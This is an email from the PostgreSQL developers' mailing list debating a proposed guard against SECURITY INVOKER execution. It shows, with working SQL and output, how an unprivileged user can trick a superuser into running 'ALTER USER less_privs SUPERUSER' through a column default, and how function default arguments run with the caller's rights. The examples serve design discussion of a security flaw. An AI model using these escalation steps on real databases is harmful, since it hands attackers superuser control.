Feedback-ID: id4a34324:Fastmail
Date: Thu, 12 Jan 2023 19:38:38 -0800
From: Andres Freund <andres@anarazel.de>
To: Jeff Davis <pgsql@j-davis.com>
Cc: pgsql-hackers@postgresql.org
Subject: Re: Blocking execution of SECURITY INVOKER
Message-ID: <20230113033838.hvso6nlm5igsxcem@awork3.anarazel.de>
References: <75b0dbb55e9febea54c441efff8012a6d2cb5bd7.camel@j-davis.com>
 <20230112033355.u5tiyr2bmuoc4jf4@awork3.anarazel.de>
 <b65c9660147b283f06e71569fe7fd36222b5aec6.camel@j-davis.com>
 <20230113032943.iyxdu7bnxe4cmbld@awork3.anarazel.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20230113032943.iyxdu7bnxe4cmbld@awork3.anarazel.de>
Archived-At: <https://www.postgresql.org/message-id/20230113033838.hvso6nlm5igsxcem%40awork3.anarazel.de>
Precedence: bulk

On 2023-01-12 19:29:43 -0800, Andres Freund wrote:
> Hi,
> 
> On 2023-01-12 18:40:30 -0800, Jeff Davis wrote:
> > On Wed, 2023-01-11 at 19:33 -0800, Andres Freund wrote:
> >
> > > and the
> > > privilege check will be done with the rights of the admin in many of
> > > these
> > > contexts.
> >
> > Can you explain?
> 
> If the less-privileged user does *not* have execution rights to a security
> definer function, but somehow can trick the more-privileged user into calling
> the function for them, e.g. by using it as the default expression of a column,
> the less-privileged user can escalate to the permissions of the security
> definer function.
> 
> superuser:
> # CREATE FUNCTION exec_su(p_sql text) RETURNS text LANGUAGE plpgsql SECURITY DEFINER AS $$BEGIN RAISE NOTICE 'executing %', p_sql; EXECUTE p_sql;RETURN 'p_sql';END;$$;
> # REVOKE ALL ON FUNCTION exec_su FROM PUBLIC ;
> 
> unprivileged user:
> $ SELECT exec_su('ALTER USER less_privs SUPERUSER');
> ERROR:  42501: permission denied for function exec_su
> $ CREATE TABLE trick_superuser(value text default exec_su('ALTER USER less_privs SUPERUSER'));
> 
> superuser:
> # INSERT INTO trick_superuser DEFAULT VALUES;
> NOTICE:  00000: executing ALTER USER less_privs SUPERUSER
> 
> 
> This case would *not* be prevented by your proposed GUC, unless I miss
> something major. The superuser trusts itself and thus the exec_su() function.

Another reason security definer isn't a way to allow safe execution of lesser
privileged code:

superuser (andres):
# CREATE FUNCTION bleat_whoami() RETURNS text LANGUAGE plpgsql SECURITY INVOKER AS $$BEGIN RAISE NOTICE 'whoami: %', current_user;RETURN current_user;END;$$;
# REVOKE ALL ON FUNCTION bleat_whoami FROM PUBLIC;

unprivileged user:
$ CREATE FUNCTION secdef_with_default(foo text = bleat_whoami()) RETURNS text LANGUAGE plpgsql SECURITY DEFINER AS $$BEGIN RETURN 'secdef_with_default';END;$$;
$ SELECT secdef_with_default();
ERROR:  42501: permission denied for function bleat_whoami

superuser (andres):
# SELECT secdef_with_default();
NOTICE:  00000: whoami: andres
LOCATION:  exec_stmt_raise, pl_exec.c:3893
┌─────────────────────┐
│ secdef_with_default │
├─────────────────────┤
│ secdef_with_default │
└─────────────────────┘
(1 row)

I.e. the default arguments where evaluated with the invoker's permissions, not
the definer's, despite being controlled by the less privileged user. Worsened
in this case by the fact that this allowed the less privileged user to call a
function they couldn't even call.

Greetings,

Andres Freund